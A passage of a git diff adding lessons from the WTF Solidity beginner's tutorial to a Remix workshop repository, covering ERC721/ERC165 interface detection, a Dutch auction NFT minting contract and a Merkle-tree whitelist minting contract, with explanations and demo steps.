`ERC721` NFT + +With the `ERC721` standard, issuing NFTs on the `ETH` chain has become very easy. Now, let's issue our own NFT. + +After compiling the `ERC721` contract and the `WTFApe` contract in `Remix` (in order), click the button in the deployment column, enter the parameters of the constructor function, set `name_` and `symbol_` to `WTF`, and then click the `transact` button to deploy. + +![How to emphasize NFT information](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/34_ERC721_en/step1/img/34-1.png) +![Deploy contract](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/34_ERC721_en/step1/img/34-2.png) + +This way, we have created the `WTF` NFT. We need to run the `mint()` function to mint some tokens for ourselves. In the `mint` function panel, click the right button to input the account address and token ID, and then click the `mint` button to mint the `0`-numbered `WTF` NFT for ourselves. + +You can click the Debug button on the right to view the logs below. + +It includes four key pieces of information: +- Event `Transfer` +- Minting address `0x0000000000000000000000000000000000000000` +- Receiving address `0x5B38Da6a701c568545dCfcB03FcB875f56beddC4` +- Token id `0` + +![Minting NFTs](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/34_ERC721_en/step1/img/34-3.png) + +We use the `balanceOf()` function to query the account balance. By inputting our current account, we can see that an `NFT` has been successfully minted, as indicated on the right-hand side of the image. + +![Querying NFT details](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/34_ERC721_en/step1/img/34-4.png) + +We can also use the `ownerOf()` function to check which account an NFT belongs to. By inputting the `tokenid`, we can see that the address is correct. + +![Querying owner details of tokenid](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/34_ERC721_en/step1/img/34-5.png) + +## ERC165 and ERC721 explained +As mentioned earlier, in order to prevent an NFT from being transferred to a contract that is incapable of handling NFTs, the destination address must correctly implement the ERC721TokenReceiver interface: + +```solidity +interface ERC721TokenReceiver { + function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes _data) external returns(bytes4); +} +``` + +Expanding into the world of programming languages, whether it's Java's interface or Rust's Trait (of course, in solidity, it's more like a library than a trait), whenever it relates to interfaces, it implies that an interface is a collection of certain behaviours (in solidity, interfaces are equivalent to a collection of function selectors). If a certain type implements a certain interface, it means that the type has a certain functionality. Therefore, as long as a certain contract type implements the above `ERC721TokenReceiver` interface (specifically, it implements the `onERC721Received` function), the contract type indicates to the outside world that it has the ability to manage NFTs. Of course, the logic of operating NFTs is implemented in other functions of the contract. + +When executing `safeTransferFrom` in the ERC721 standard, it will check whether the target contract implements the `onERC721Received` function, which is an operation based on the `ERC165` idea. + +So, what exactly is `ERC165`? + +`ERC165` is a technical standard to indicate which interfaces have been implemented externally. As mentioned above, implementing an interface means that the contract has a special ability. When some contracts interact with other contracts, they expect the target contract to have certain capabilities, so that contracts can query each other through the `ERC165` standard to check whether the other party has the corresponding abilities. + +Taking the `ERC721` contract as an example, how does it check whether a contract implements `ERC721`? According to [how-to-detect-if-a-contract-implements-erc-165](https://eips.ethereum.org/EIPS/eip-165#how-to-detect-if-a-contract-implements-erc-165), the checking steps should be to first check whether the contract implements `ERC165`, and then check specific interfaces implemented by the contract. At this point, the specific interface is `IERC721`. `IERC721` is the basic interface of `ERC721` (why say basic? Because there are other extensions, such as `ERC721Metadata` and `ERC721Enumerable`). + +```solidity +/// Please note this **0x80ac58cd** +/// **⚠⚠⚠ Note: the ERC-165 identifier for this interface is 0x80ac58cd. ⚠⚠⚠** +interface ERC721 /* is ERC165 */ { + event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId); + + event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId); + + event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); + + function balanceOf(address _owner) external view returns (uint256); + + function ownerOf(uint256 _tokenId) external view returns (address); + + function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external payable; + + function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable; + + function transferFrom(address _from, address _to, uint256 _tokenId) external payable; + + function approve(address _approved, uint256 _tokenId) external payable; + + function setApprovalForAll(address _operator, bool _approved) external; + + function getApproved(uint256 _tokenId) external view returns (address); + + function isApprovedForAll(address _owner, address _operator) external view returns (bool); +} +``` + +The value **0x80ac58cd** is obtained by calculating `bytes4(keccak256(ERC721.Transfer.selector) ^ keccak256(ERC721.Approval.selector) ^ ··· ^keccak256(ERC721.isApprovedForAll.selector))`, which is the computation method specified by `ERC165`. + +Similarly, one can calculate the interface of `ERC165` itself (which contains only one function `function supportsInterface(bytes4 interfaceID) external view returns (bool);`) by using `bytes4(keccak256(supportsInterface.selector))`, which results in **0x01ffc9a7**. Additionally, ERC721 defines some extended interfaces, such as `ERC721Metadata`. It looks like this: + +```solidity +/// Note: the ERC-165 identifier for this interface is 0x5b5e139f. +interface ERC721Metadata /* is ERC721 */ { + function name() external view returns (string _name); + function symbol() external view returns (string _symbol); + function tokenURI(uint256 _tokenId) external view returns (string); // This is very important as the urls of NFT's images showing in the website are returned by this function. +} +``` + +The calculation of **0x5b5e139f** is: + +```solidity +IERC721Metadata.name.selector ^ IERC721Metadata.symbol.selector ^ IERC721Metadata.tokenURI.selector +``` + +How does the ERC721.sol implemented by Solmate fulfil these features required by `ERC165`? + +```solidity +function supportsInterface(bytes4 interfaceId) public view virtual returns (bool) { + return + interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165 + interfaceId == 0x80ac58cd || // ERC165 Interface ID for ERC721 + interfaceId == 0x5b5e139f; // ERC165 Interface ID for ERC721Metadata +} +``` + +Yes, it's that simple. When the outside world follows the steps in [link1](https://eips.ethereum.org/EIPS/eip-165#how-to-detect-if-a-contract-implements-erc-165) to perform the check, if they want to check whether this contract implements 165, it's easy. The `supportsInterface` function must return true when the input parameter is `0x01ffc9a7`, and false when the input parameter is `0xffffffff`. The above implementation perfectly meets the requirements. + +When the outside world wants to check whether this contract is `ERC721`, it's easy. When the input parameter is **0x80ac58cd**, it indicates that the outside world wants to do this check. Return true. + +When the outside world wants to check whether this contract implements the `ERC721` extension `ERC721Metadata` interface, the input parameter is `0x5b5e139f`. It's easy, just return true. + +And because this function is virtual, users of the contract can inherit the contract and then continue to implement the `ERC721Enumerable` interface. After implementing functions like `totalSupply`, they can re-implement the inherited `supportsInterface` as: + +```solidity +function supportsInterface(bytes4 interfaceId) public view virtual returns (bool) { + return + interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165 + interfaceId == 0x80ac58cd || // ERC165 Interface ID for ERC721 + interfaceId == 0x5b5e139f || // ERC165 Interface ID for ERC721Metadata + interfaceId == 0x780e9d63; // ERC165 Interface ID for ERC721Enumerable +} +``` + +**Elegance, conciseness, and scalability are maximized.** + +## Summary +In this lesson, I introduced the `ERC721` standard, interface, and implementation, and added English comments to the contract code. We also used `ERC721` to create a free `WTF APE` NFT, with metadata directly called from `BAYC`. The `ERC721` standard is still evolving, with the currently popular versions being `ERC721Enumerable` (improving NFT accessibility) and `ERC721A` (saving `gas` in minting). diff --git a/SolidityBasics_Part3_Applications/step5/DutchAuction.sol b/SolidityBasics_Part3_Applications/step5/DutchAuction.sol new file mode 100644 index 000000000..198d30a36 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step5/DutchAuction.sol @@ -0,0 +1,103 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +import "@openzeppelin/contracts/access/Ownable.sol"; +import "../34_ERC721/ERC721.sol"; + +contract DutchAuction is Ownable, ERC721 { + uint256 public constant COLLECTION_SIZE = 10000; // Total number of NFTs + uint256 public constant AUCTION_START_PRICE = 1 ether; // Starting price (highest price) + uint256 public constant AUCTION_END_PRICE = 0.1 ether; // End price (lowest price/floor price) + uint256 public constant AUCTION_TIME = 10 minutes; // Auction duration. Set to 10 minutes for testing convenience + uint256 public constant AUCTION_DROP_INTERVAL = 1 minutes; // After how long the price will drop once + uint256 public constant AUCTION_DROP_PER_STEP = + (AUCTION_START_PRICE - AUCTION_END_PRICE) / + (AUCTION_TIME / AUCTION_DROP_INTERVAL); // Price reduction per step + + uint256 public auctionStartTime; // Auction start timestamp + string private _baseTokenURI; // metadata URI + uint256[] private _allTokens; // Record all existing tokenIds + + // Set auction start time: We declare the current block time as the start time in the constructor. + // The project owner can also adjust the start time through the `setAuctionStartTime(uint32)` function. + constructor() Ownable(msg.sender) ERC721("WTF Dutch Auction", "WTF Dutch Auction") { + auctionStartTime = block.timestamp; + } + + /** + * Implements the `totalSupply` function of `ERC721Enumerable` + */ + function totalSupply() public view virtual returns (uint256) { + return _allTokens.length; + } + + /** + * Private function to a new `tokenId` in `_allTokens`. + */ + function _addTokenToAllTokensEnumeration(uint256 tokenId) private { + _allTokens.push(tokenId); + } + + // the auction mint function + function auctionMint(uint256 quantity) external payable{ + uint256 _saleStartTime = uint256(auctionStartTime); // uses local variable to reduce gas + require( + _saleStartTime != 0 && block.timestamp >= _saleStartTime, + "sale has not started yet" + ); // checks if the start time of auction has been set and auction has started + require( + totalSupply() + quantity <= COLLECTION_SIZE, + "not enough remaining reserved for auction to support desired mint amount" + ); // checks if the number of NFTs has exceeded the limit + + uint256 totalCost = getAuctionPrice() * quantity; // calculates the cost of mint + require(msg.value >= totalCost, "Need to send more ETH."); // checks if the user has enough ETH to pay + + // Mint NFT + for(uint256 i = 0; i < quantity; i++) { + uint256 mintIndex = totalSupply(); + _mint(msg.sender, mintIndex); + _addTokenToAllTokensEnumeration(mintIndex); + } + // refund excess ETH + if (msg.value > totalCost) { + payable(msg.sender).transfer(msg.value - totalCost); //please check is there any risk of reentrancy attack + } + } + + // Get real-time auction price + function getAuctionPrice() + public + view + returns (uint256) + { + if (block.timestamp < auctionStartTime) { + return AUCTION_START_PRICE; + }else if (block.timestamp - auctionStartTime >= AUCTION_TIME) { + return AUCTION_END_PRICE; + } else { + uint256 steps = (block.timestamp - auctionStartTime) / + AUCTION_DROP_INTERVAL; + return AUCTION_START_PRICE - (steps * AUCTION_DROP_PER_STEP); + } + } + + // The setter function of auctionStartTime setter, onlyOwner modifier + function setAuctionStartTime(uint32 timestamp) external onlyOwner { + auctionStartTime = timestamp; + } + + // BaseURI + function _baseURI() internal view virtual override returns (string memory) { + return _baseTokenURI; + } + // The setter function of BaseURI, onlyOwner modifier + function setBaseURI(string calldata baseURI) external onlyOwner { + _baseTokenURI = baseURI; + } + // the withdraw function, onlyOwner modifier + function withdrawMoney() external onlyOwner { + (bool success, ) = msg.sender.call{value: address(this).balance}(""); + require(success, "Transfer failed."); + } +} diff --git a/SolidityBasics_Part3_Applications/step5/img/35-1.png b/SolidityBasics_Part3_Applications/step5/img/35-1.png new file mode 100644 index 000000000..d7bb038c4 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step5/img/35-1.png differ diff --git a/SolidityBasics_Part3_Applications/step5/img/35-2.png b/SolidityBasics_Part3_Applications/step5/img/35-2.png new file mode 100644 index 000000000..7da040788 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step5/img/35-2.png differ diff --git a/SolidityBasics_Part3_Applications/step5/img/35-3.png b/SolidityBasics_Part3_Applications/step5/img/35-3.png new file mode 100644 index 000000000..81e0187ff Binary files /dev/null and b/SolidityBasics_Part3_Applications/step5/img/35-3.png differ diff --git a/SolidityBasics_Part3_Applications/step5/img/35-4.png b/SolidityBasics_Part3_Applications/step5/img/35-4.png new file mode 100644 index 000000000..3c2700730 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step5/img/35-4.png differ diff --git a/SolidityBasics_Part3_Applications/step5/step1.md b/SolidityBasics_Part3_Applications/step5/step1.md new file mode 100644 index 000000000..a701cad2f --- /dev/null +++ b/SolidityBasics_Part3_Applications/step5/step1.md @@ -0,0 +1,172 @@ +--- +title: 35. Dutch Auction +tags: + - solidity + - application + - wtfacademy + - ERC721 + - Dutch Auction +--- + +# WTF Solidity Beginner's Guide: 35. Dutch Auction + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +---- + +In this lecture, I will introduce the Dutch Auction and explain how to issue an `NFT` using the `ERC721` standard through a simplified version of the `Azuki` Dutch Auction code. + +## Dutch Auction + +The Dutch Auction is a special type of auction. Also known as a "descending price auction," it refers to an auction where the bidding for the item being auctioned starts high and decreases sequentially until the first bidder bids (reaches or exceeds the bottom price) and it is sold. + +![Dutch Auction](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/35_DutchAuction_en/step1/img/35-1.png) + +In the cryptocurrency world, many NFTs are sold through Dutch auctions, including `Azuki` and `World of Women`, with `Azuki` raising over `8000` `ETH` through a Dutch auction. + +The project team likes this type of auction for two main reasons: + +1. The price of the Dutch auction slowly decreases from the highest price, allowing the project party to receive the maximum revenue. + +2. The auction lasts a long time (usually more than 6 hours), which can avoid gas wars. + +## DutchAuction Contract + +The code is simplified based on the [code](https://etherscan.io/address/0xed5af388653567af2f388e6224dc7c4b3241c544#code) of `Azuki`. The `DutchAuction` contract inherits the `ERC721` and `Ownable` contracts previously introduced: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +import "@openzeppelin/contracts/access/Ownable.sol"; +import "https://github.com/AmazingAng/WTF-Solidity/blob/main/34_ERC721/ERC721.sol"; + +contract DutchAuction is Ownable, ERC721 { +``` + +### `DutchAuction` State Variables + +There are a total of `9` state variables in the contract, of which `6` are related to the auction. They are: + +- `COLLECTION_SIZE`: Total number of NFTs. +- `AUCTION_START_PRICE`: Starting price of the Dutch auction, is also the highest price. +- `AUCTION_END_PRICE`: Ending price of the Dutch auction, also the lowest price/floor price. +- `AUCTION_TIME`: Duration of the auction. +- `AUCTION_DROP_INTERVAL`: Time interval when the price drops. +- `auctionStartTime`: Starting time of the auction (blockchain timestamp, `block.timestamp`). + +```solidity + uint256 public constant COLLECTION_SIZE = 10000; // Total number of NFTs + uint256 public constant AUCTION_START_PRICE = 1 ether; // Starting price (highest price) + uint256 public constant AUCTION_END_PRICE = 0.1 ether; // End price (lowest price/floor price) + uint256 public constant AUCTION_TIME = 10 minutes; // Auction duration. Set to 10 minutes for testing convenience + uint256 public constant AUCTION_DROP_INTERVAL = 1 minutes; // After how long the price will drop once + uint256 public constant AUCTION_DROP_PER_STEP = + (AUCTION_START_PRICE - AUCTION_END_PRICE) / + (AUCTION_TIME / AUCTION_DROP_INTERVAL); // Price reduction per step + + uint256 public auctionStartTime; // Auction start timestamp + string private _baseTokenURI; // metadata URI + uint256[] private _allTokens; // Record all existing tokenIds +``` + +### `DutchAuction` Function + +There are a total of `9` functions in the Dutch auction contract. We will only introduce the functions related to the auction and not cover the functions related to `ERC721`. + +- Set auction start time: We declare the current block time as the start time in the constructor. The project owner can also adjust the start time through the `setAuctionStartTime()` function. + +The `constructor` function initializes a new `ERC721` token with the name "WTF Dutch Auction" and the symbol "WTF Dutch Auction". It sets the `auctionStartTime` to the current block timestamp. + +The `setAuctionStartTime` function is a setter function that updates the `auctionStartTime` variable. It can only be called by the owner of the contract. + +- Get the real-time auction price: The function `getAuctionPrice()` calculates the real-time auction price based on the current block time and relevant auction state variables. + +If `block.timestamp` is less than the start time, the price is the highest price `AUCTION_START_PRICE`; + +If `block.timestamp` is greater than the end time, the price is the lowest price `AUCTION_END_PRICE`; + +If `block.timestamp` is between the start and end times, the current decay price is calculated. + +```solidity + // Get real-time auction price + function getAuctionPrice() + public + view + returns (uint256) + { + if (block.timestamp < auctionStartTime) { + return AUCTION_START_PRICE; + }else if (block.timestamp - auctionStartTime >= AUCTION_TIME) { + return AUCTION_END_PRICE; + } else { + uint256 steps = (block.timestamp - auctionStartTime) / + AUCTION_DROP_INTERVAL; + return AUCTION_START_PRICE - (steps * AUCTION_DROP_PER_STEP); + } + } +``` + +- User auctions and mints `NFT`: Users participate in a Dutch auction and mint `NFT` by calling the `auctionMint()` function to pay `ETH`. + +First, the function checks if the auction has started or if the number of `NFTs` has exceeded the limit. Then, the contract calculates the auction cost based on the number of minted `NFTs` and uses the `getAuctionPrice()` function. It also checks if the user has enough `ETH` to participate. If the user has enough `ETH`, the contract mints `NFTs` and refunds any excess `ETH`. Otherwise, the transaction is reverted. + +```solidity + // the auction mint function + function auctionMint(uint256 quantity) external payable{ + uint256 _saleStartTime = uint256(auctionStartTime); // uses local variable to reduce gas + require( + _saleStartTime != 0 && block.timestamp >= _saleStartTime, + "sale has not started yet" + ); // checks if the start time of auction has been set and auction has started + require( + totalSupply() + quantity <= COLLECTION_SIZE, + "not enough remaining reserved for auction to support desired mint amount" + ); // checks if the number of NFTs has exceeded the limit + + uint256 totalCost = getAuctionPrice() * quantity; // calculates the cost of mint + require(msg.value >= totalCost, "Need to send more ETH."); // checks if the user has enough ETH to pay + + // Mint NFT + for(uint256 i = 0; i < quantity; i++) { + uint256 mintIndex = totalSupply(); + _mint(msg.sender, mintIndex); + _addTokenToAllTokensEnumeration(mintIndex); + } + // refund excess ETH + if (msg.value > totalCost) { + payable(msg.sender).transfer(msg.value - totalCost); //please check is there any risk of reentrancy attack + } + } +``` + +- Withdrawal of raised `ETH` by the project owner: The project owner can withdraw the `ETH` raised in the auction by using the function `withdrawMoney()`. + +```solidity + // the withdraw function, onlyOwner modifier + function withdrawMoney() external onlyOwner { + (bool success, ) = msg.sender.call{value: address(this).balance}(""); // how to use call function please see lession #22 + require(success, "Transfer failed."); + } +``` + +## Demo of Remix + +1. Contract Deployment: First, deploy the `DutchAuction.sol` contract and set the auction start time through the `setAuctionStartTime()` function. In this example, the start time is March 19, 2023, 14:34 am, corresponding to UTC time 1679207640. You can search for the corresponding time on a tool website (such as [here](https://tool.chinaz.com/tools/unixtime.aspx)) during the experiment. +![Set auction start time](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/35_DutchAuction_en/step1/img/35-2.png) + +2. Dutch Auction: Then, you can use the `getAuctionPrice()` function to get the **current** auction price. It can be observed that the price before the auction starts is `starting price AUCTION_START_PRICE`. As the auction proceeds, the auction price gradually decreases until it reaches the `reserve price AUCTION_END_PRICE`, after which it no longer changes. +![Changes in Dutch auction prices](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/35_DutchAuction_en/step1/img/35-3.png) + +3. Mint Operation: Complete mint through the `auctionMint()` function. In this example, because the time has exceeded the auction time, only the `reserve price` was spent to complete the auction. +![Complete Dutch auction](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/35_DutchAuction_en/step1/img/35-4.png) + +4. Withdrawal of `ETH`: You can directly send the raised `ETH` to the contract creator's address through the `withdrawMoney()` function. + +## Summary + +In this lecture, we introduced the Dutch auction and explained how to issue `ERC721` standard `NFT` through `Dutch auction` using a simplified version of the `Azuki` Dutch auction code. The most expensive `NFT` I auctioned was a piece of music `NFT` by musician `Jonathan Mann`. What about you? diff --git a/SolidityBasics_Part3_Applications/step6/MerkleTree.sol b/SolidityBasics_Part3_Applications/step6/MerkleTree.sol new file mode 100644 index 000000000..a63d62c52 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step6/MerkleTree.sol @@ -0,0 +1,102 @@ +// SPDX-License-Identifier: MIT +// By 0xAA +pragma solidity ^0.8.21; + +import "../34_ERC721/ERC721.sol"; + + +/** + * Verify whitelist using Merkle tree (you can generate Merkle tree with a webpage: https://lab.miguelmota.com/merkletreejs/example/) + * Choose Keccak-256, hashLeaves and sortPairs options + * 4 leaf addresses: + [ + "0x5B38Da6a701c568545dCfcB03FcB875f56beddC4", + "0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2", + "0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db", + "0x78731D3Ca6b7E34aC0F824c42a7cC18A495cabaB" + ] + * Merkle proof for the first address: + [ + "0x999bf57501565dbd2fdcea36efa2b9aef8340a8901e3459f4a4c926275d36cdb", + "0x4726e4102af77216b09ccd94f40daa10531c87c4d60bba7f3b3faf5ff9f19b3c" + ] + * Merkle root: 0xeeefd63003e0e702cb41cd0043015a6e26ddb38073cc6ffeb0ba3e808ba8c097 + */ + + +/** + * @dev Contract for verifying Merkle tree. + * + * Proof can be generated using the JavaScript library: + * https://github.com/miguelmota/merkletreejs[merkletreejs]. + * Note: Hash with keccak256 and turn on pair sorting. + * See the JavaScript example in `https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/test/utils/cryptography/MerkleProof.test.js`. + */ +library MerkleProof { + /** + * @dev Returns `true` when the `root` reconstructed from `proof` and `leaf` equals to the given `root`, meaning the data is valid. + * During reconstruction, both the leaf node pairs and element pairs are sorted. + */ + function verify( + bytes32[] memory proof, + bytes32 root, + bytes32 leaf + ) internal pure returns (bool) { + return processProof(proof, leaf) == root; + } + + /** + * @dev Returns the `root` of the Merkle tree computed from a `leaf` and a `proof`. + * The `proof` is only valid when the reconstructed `root` equals to the given `root`. + * During reconstruction, both the leaf node pairs and element pairs are sorted. + */ + function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { + bytes32 computedHash = leaf; + for (uint256 i = 0; i < proof.length; i++) { + computedHash = _hashPair(computedHash, proof[i]); + } + return computedHash; + } + + // Sorted Pair Hash + function _hashPair(bytes32 a, bytes32 b) private pure returns (bytes32) { + return a < b ? keccak256(abi.encodePacked(a, b)) : keccak256(abi.encodePacked(b, a)); + } +} + +contract MerkleTree is ERC721 { + bytes32 immutable public root; // Root of the Merkle tree + mapping(address => bool) public mintedAddress; // Record the address that has already been minted + + // Constructor, initialize the name and symbol of the NFT collection, and the root of the Merkle tree + constructor(string memory name, string memory symbol, bytes32 merkleroot) + ERC721(name, symbol) + { + root = merkleroot; + } + + // Use the Merkle tree to verify the address and mint + function mint(address account, uint256 tokenId, bytes32[] calldata proof) + external + { + require(_verify(_leaf(account), proof), "Invalid merkle proof"); // Merkle verification passed + require(!mintedAddress[account], "Already minted!"); // Address has not been minted + + mintedAddress[account] = true; // Record the minted address + _mint(account, tokenId); // Mint + } + + // Calculate the hash value of the Merkle tree leaf + function _leaf(address account) + internal pure returns (bytes32) + { + return keccak256(abi.encodePacked(account)); + } + + // Merkle tree verification, call the verify() function of the MerkleProof library + function _verify(bytes32 leaf, bytes32[] memory proof) + internal view returns (bool) + { + return MerkleProof.verify(proof, root, leaf); + } +} diff --git a/SolidityBasics_Part3_Applications/step6/img/36-1.png b/SolidityBasics_Part3_Applications/step6/img/36-1.png new file mode 100644 index 000000000..965c2fa9d Binary files /dev/null and b/SolidityBasics_Part3_Applications/step6/img/36-1.png differ diff --git a/SolidityBasics_Part3_Applications/step6/img/36-2.png b/SolidityBasics_Part3_Applications/step6/img/36-2.png new file mode 100644 index 000000000..acbbba259 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step6/img/36-2.png differ diff --git a/SolidityBasics_Part3_Applications/step6/img/36-3.png b/SolidityBasics_Part3_Applications/step6/img/36-3.png new file mode 100644 index 000000000..44fcded14 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step6/img/36-3.png differ diff --git a/SolidityBasics_Part3_Applications/step6/img/36-4.png b/SolidityBasics_Part3_Applications/step6/img/36-4.png new file mode 100644 index 000000000..634b6baaf Binary files /dev/null and b/SolidityBasics_Part3_Applications/step6/img/36-4.png differ diff --git a/SolidityBasics_Part3_Applications/step6/img/36-5.png b/SolidityBasics_Part3_Applications/step6/img/36-5.png new file mode 100644 index 000000000..147c5d8dd Binary files /dev/null and b/SolidityBasics_Part3_Applications/step6/img/36-5.png differ diff --git a/SolidityBasics_Part3_Applications/step6/img/36-6.png b/SolidityBasics_Part3_Applications/step6/img/36-6.png new file mode 100644 index 000000000..7c3d3470c Binary files /dev/null and b/SolidityBasics_Part3_Applications/step6/img/36-6.png differ diff --git a/SolidityBasics_Part3_Applications/step6/img/36-7.png b/SolidityBasics_Part3_Applications/step6/img/36-7.png new file mode 100644 index 000000000..93bde486d Binary files /dev/null and b/SolidityBasics_Part3_Applications/step6/img/36-7.png differ diff --git a/SolidityBasics_Part3_Applications/step6/step1.md b/SolidityBasics_Part3_Applications/step6/step1.md new file mode 100644 index 000000000..5a7148e8e --- /dev/null +++ b/SolidityBasics_Part3_Applications/step6/step1.md @@ -0,0 +1,207 @@ +--- +title: 36. Merkle Tree +tags: + - solidity + - application + - wtfacademy + - ERC721 + - Merkle Tree +--- + +# WTF Solidity Beginner's Guide: 36. Merkle Tree + +Recently, I have been reviewing solidity in order to consolidate some details and write a "WTF Solidity Beginner's Guide" for novices (programming experts can find other tutorials). I will update 1-3 lessons weekly. + +Welcome to follow me on Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Welcome to the WTF Scientist community, which includes methods for adding WeChat groups: [link](https://discord.gg/5akcruXrsk) + +All code and tutorials are open source on GitHub (1024 stars will issue course certification, 2048 stars will issue community NFTs): [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +In this lecture, I will introduce the `Merkle Tree` and how to use it to distribute a `NFT` whitelist. + +## `Merkle Tree` +`Merkle Tree`, also known as Merkel tree or hash tree, is a fundamental encryption technology in blockchain and is widely used in Bitcoin and Ethereum blockchains. `Merkle Tree` is an encrypted tree constructed from the bottom up, where each leaf corresponds to the hash of the corresponding data, and each non-leaf represents the hash of its two child nodes. + +![Merkle Tree] (./img/36-1.png) + +`Merkle Tree` allows for efficient and secure verification (`Merkle Proof`) of the contents of large data structures. For a `Merkle Tree` with `N` leaf nodes, verifying whether a given data is valid (belonging to a `Merkle Tree` leaf node) only requires `log(N)` data (`proofs`), which is very efficient. If the data is incorrect, or if the `proof` given is incorrect, the root value of the `root` cannot be restored. +In the example below, the `Merkle proof` of leaf `L1` is `Hash 0-1` and `Hash 1`: Knowing these two values, we can verify whether the value of `L1` is in the leaves of the `Merkle Tree` or not. Why? +Because through the leaf `L1` we can calculate `Hash 0-0`, we also know `Hash 0-1`, then `Hash 0-0` and `Hash 0-1` can be combined to calculate `Hash 0`, we also know `Hash 1`, and `Hash 0` and `Hash 1` can be combined to calculate `Top Hash`, which is the hash of the root node. + +![Merkle Proof] (./img/36-2.png) + +## Generating a `Merkle Tree` + +We can use a [webpage](https://lab.miguelmota.com/merkletreejs/example/) or the Javascript library [merkletreejs](https://github.com/miguelmota/merkletreejs) to generate a `Merkle Tree`. + +Here we use the webpage to generate a `Merkle Tree` with `4` addresses as the leaf nodes. Leaf node input: + +```solidity + [ + "0x5B38Da6a701c568545dCfcB03FcB875f56beddC4", + "0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2", + "0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db", + "0x78731D3Ca6b7E34aC0F824c42a7cC18A495cabaB" + ] +``` + +Select the `Keccak-256`, `hashLeaves`, and `sortPairs` options in the menu, then click `Compute`, and the `Merkle Tree` will be generated. The `Merkle Tree` expands to: + +``` +└─ Root: eeefd63003e0e702cb41cd0043015a6e26ddb38073cc6ffeb0ba3e808ba8c097 + ├─ 9d997719c0a5b5f6db9b8ac69a988be57cf324cb9fffd51dc2c37544bb520d65 + │ ├─ Leaf0:5931b4ed56ace4c46b68524cb5bcbf4195f1bbaacbe5228fbd090546c88dd229 + │ └─ Leaf1:999bf57501565dbd2fdcea36efa2b9aef8340a8901e3459f4a4c926275d36cdb + └─ 4726e4102af77216b09ccd94f40daa10531c87c4d60bba7f3b3faf5ff9f19b3c + ├─ Leaf2:04a10bfd00977f54cc3450c9b25c9b3a502a089eba0097ba35fc33c4ea5fcb54 + └─ Leaf3:dfbe3e504ac4e35541bebad4d0e7574668e16fefa26cd4172f93e18b59ce9486 +``` + +![Generating Merkle Tree](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/36_MerkleTree_en/step1/img/36-3.png) + +## Verification of `Merkle Proof` +Through the website, we can obtain the `proof` of `address 0` as follows, which is the hash value of the blue node in Figure 2: + +```solidity +[ + "0x999bf57501565dbd2fdcea36efa2b9aef8340a8901e3459f4a4c926275d36cdb", + "0x4726e4102af77216b09ccd94f40daa10531c87c4d60bba7f3b3faf5ff9f19b3c" +] +``` + +We use the `MerkleProof` library for verification: + +```solidity +library MerkleProof { + /** + * @dev Returns `true` when the `root` reconstructed from `proof` and `leaf` equals to the given `root`, meaning the data is valid. + * During reconstruction, both the leaf node pairs and element pairs are sorted. + */ + function verify( + bytes32[] memory proof, + bytes32 root, + bytes32 leaf + ) internal pure returns (bool) { + return processProof(proof, leaf) == root; + } + + /** + * @dev Returns the `root` of the Merkle tree computed from a `leaf` and a `proof`. + * The `proof` is only valid when the reconstructed `root` equals to the given `root`. + * During reconstruction, both the leaf node pairs and element pairs are sorted. + */ + function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { + bytes32 computedHash = leaf; + for (uint256 i = 0; i < proof.length; i++) { + computedHash = _hashPair(computedHash, proof[i]); + } + return computedHash; + } + + // Sorted Pair Hash + function _hashPair(bytes32 a, bytes32 b) private pure returns (bytes32) { + return a < b ? keccak256(abi.encodePacked(a, b)) : keccak256(abi.encodePacked(b, a)); + } +} +``` + +The `MerkleProof` library contains three functions: + +1. The `verify()` function: It uses the `proof` to verify whether the `leaf` belongs to the `Merkle Tree` with the root of `root`. If it does, it returns `true`. It calls the `processProof()` function. + +2. The `processProof()` function: It calculates the `root` of the `Merkle Tree` using the `proof` and `leaf` in sequence. It calls the `_hashPair()` function. + +3. The `_hashPair()` function: It uses the `keccak256()` function to calculate the hash (sorted) of the two child nodes corresponding to the non-root node. + +We input `address 0`, `root`, and the corresponding `proof` to the `verify()` function, which will return `true` because `address 0` is in the `Merkle Tree` with the root of `root`, and the `proof` is 